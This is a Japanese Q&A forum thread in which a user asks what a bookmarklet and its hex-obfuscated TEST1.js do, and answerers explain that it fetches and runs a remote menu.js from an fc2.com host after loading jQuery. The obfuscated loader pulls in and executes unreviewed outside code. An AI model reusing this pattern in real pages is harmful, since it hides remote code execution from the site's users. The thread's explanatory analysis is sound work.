以下JavaScriptはどのような処理を実施しているのかご教授頂けますでしょうか。
javascript:if(!!document.getElementById("iframe1")==false){var d=document;var e=d.createElement("script");e.charset="utf-8";e.src="TEST1.js" "?" new Date().getTime();d.getElementsByTagName("head")[0].appendChild(e);}
TEST1.js
var _0x6713=
["\x73\x65\x76\x65\x6E\x74\x68",
"\x74\x65\x6E\x73\x68\x69",
"\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64",
"\x73\x63\x72\x69\x70\x74",
"\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74",
"\x73\x72\x63",
"\x68\x74\x74\x70\x3A\x2F\x2F\x69\x6D\x67\x2E\x74\x61\x6E\x74\x6F\x72\x61\x2E\x6A\x70\x2F\x73\x70\x5F\x73\x74\x2F\x6A\x73\x2F\x6B\x61\x63\x68\x69\x6B\x6F\x6D\x69\x2F\x6A\x71\x75\x65\x72\x79\x2D\x31\x2E\x31\x30\x2E\x31\x2E\x6D\x69\x6E\x2E\x6A\x73",
"\x6F\x6E\x6C\x6F\x61\x64",
"\x68\x74\x74\x70\x3A\x2F\x2F\x71\x71\x71\x77\x77\x77\x2E\x77\x65\x62\x2E\x66\x63\x32\x2E\x63\x6F\x6D\x2F\x6E\x65\x77\x70\x61\x6E\x63\x68\x69\x32\x2F\x6D\x65\x6E\x75\x2E\x6A\x73\x3F",
"\x67\x65\x74\x54\x69\x6D\x65",
"\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64",
"\x68\x65\x61\x64",
"\u65E2\u306B\u7ACB\u3061\u4E0A\u304C\u3063\u3066\u307E\u3059"];
version=_0x6713[0];
var doc=document;
if(doc[_0x6713[2]](_0x6713[1])==null)
{
var jq=doc[_0x6713[4]](_0x6713[3]);
jq[_0x6713[5]]=_0x6713[6];
jq[_0x6713[7]]=function()
{
var _0x9d8dx3=doc[_0x6713[4]](_0x6713[3]);
_0x9d8dx3[_0x6713[5]]=_0x6713[8]+ new Date()[_0x6713[9]]();
doc[_0x6713[11]][_0x6713[10]](_0x9d8dx3)
};
doc[_0x6713[11]][_0x6713[10]](jq)}else {alert(_0x6713[12])
}
No.2
- 回答日時:
ANo1です。
TEST1.jsも前半のスクリプトと同様の内容ですが、少し難読化してあるようです。
var _0x6713= ~~以下は、変数_0x6713に配列でキーワード群を入れて、後半にそのキーワードを利用して実際に実行するスクリプトが書かれています。
キーワードがコード化されているので、それを通常表記にしてあげれば、だいたい内容がわかことと思います。
簡単に確認するなら
var _0x6713 = [
~~~~
];
alert(_0x6713);
で、確認が可能です。
ありがとうございます!
理解致しました。
最後にもう一点宜しいでしょうか。
コードを通常表記にする方法をご教授頂けませんでしょうか。
このコード形式が何なのかだけでも構いません。
No.1ベストアンサー
- 回答日時:
ざっと眺めただけですが…
前半のものは、
id="iframe1"という要素が存在しなければ、script要素を新たに生成して「TEST1.js」を読み込む
というもののようです。(ご提示のままだと、エラーになるのではないかと推測しますが、何かの過程で「+」がブランクに置き換わっちゃったとかでしょうか?)
後半のものは、同様に
id="tenshi"という要素が存在しなければ、img.tantora.jpのサイトからjQueryを読込み、さらにqqqwww.web.fc2.comのサイトからmenu.jsを読み込む。
"tenshi"の要素が存在している場合はアラートを出す。
といったかんじでしょうか?
早急にご回答頂きありがとうございます。
初歩的な質問で大変申し訳ございません。
=======
id="tenshi"という要素が存在しなければ、img.tantora.jpのサイトからjQueryを読込み、さらにqqqwww.web.fc2.comのサイトからmenu.jsを読み込む。
=======
上記の挙動はどこの部分になりますでしょうか。
以下部分を何らかのコードで変換すれば見えてきますでしょうか。
["\x73\x65\x76\x65\x6E\x74\x68",・・・・・
お探しのQ&Aが見つからない時は、教えて!gooで質問しましょう!
似たような質問が見つかりました
- JavaScript 画像の表示位置 3 2022/12/23 08:25
- JavaScript 1日1回引けるJavaScriptおみくじについて 1 2022/12/12 22:28
- JavaScript javascript作成してます。ラジオボタンで判定するコードを書いてます。 1 2023/07/18 11:03
- JavaScript コードレビューをお願いします。 1 2022/07/16 05:38
- 数学 場合の数、確率 45 (浜松医科大学) 1 2023/07/29 13:52
- JavaScript スマフォではボタンを表示させたくない 2 2023/01/20 14:26
- JavaScript jQueryでのドラッグアンドドロップについて 1 2022/07/07 21:04
- JavaScript JAVASCRIPT 2 2022/04/15 15:10
- JavaScript gasについて 1 2022/05/31 21:51
- JavaScript GoogleChart 階層ごとのブロックの長さを個別に設定したい 1 2022/07/06 14:27
関連するカテゴリからQ&Aを探す
おすすめ情報
デイリーランキングこのカテゴリの人気デイリーQ&Aランキング
-
jQueryのload()を使用して外部...
-
google apps scriptの終了のさせ方
-
C#OpenCv V4にのエラーに関する...
-
Javaで避けるゲームを作ってい...
-
【JavaScript】数当てゲームを...
-
C#で、ContextMenuStripに動的...
-
javaScript textareaの一行あた...
-
翌月を取得するGASが分かりません
-
ASP.NETのコントロールの値をJa...
-
javascriptにお詳しい方に質問...
-
商品コードを入力で、商品名、...
-
JavaScriptで決まった「時刻」...
-
ホームページの最終更新日を他...
-
C# 演算 奇数と偶数 表現の仕方
-
特定のclassを表示、非表示にする
-
なぜmatchメソッドがエラーにな...
-
javascriptでカウントダウンタ...
-
ASP.NET MVCでObjectをjsに渡す
-
idを使わずにonclickで自身の要...
-
Linux バイナリ実行できない "...
マンスリーランキングこのカテゴリの人気マンスリーQ&Aランキング
-
google apps scriptの終了のさせ方
-
C#OpenCv V4にのエラーに関する...
-
メールフォームの日付入力フォ...
-
GASでundefinedエラーが出ます
-
ジェネレーターの作り方
-
GASでGoogleフォームの自動返信...
-
なぜmatchメソッドがエラーにな...
-
翌月を取得するGASが分かりません
-
ローカルにあるファイルを検索...
-
HTMLで作った時報アプリが動き...
-
ASP.NETのコントロールの値をJa...
-
C# 演算 奇数と偶数 表現の仕方
-
html javascript リンク先アド...
-
gas スプレッドシートがアクテ...
-
javascriptでテーブルに追加し...
-
VSCODE[Python]の設定について
-
JavaScriptで決まった「時刻」...
-
ASP.NET MVCでObjectをjsに渡す
-
イベントが初めの一回しか起き...
-
jqGridについて
おすすめ情報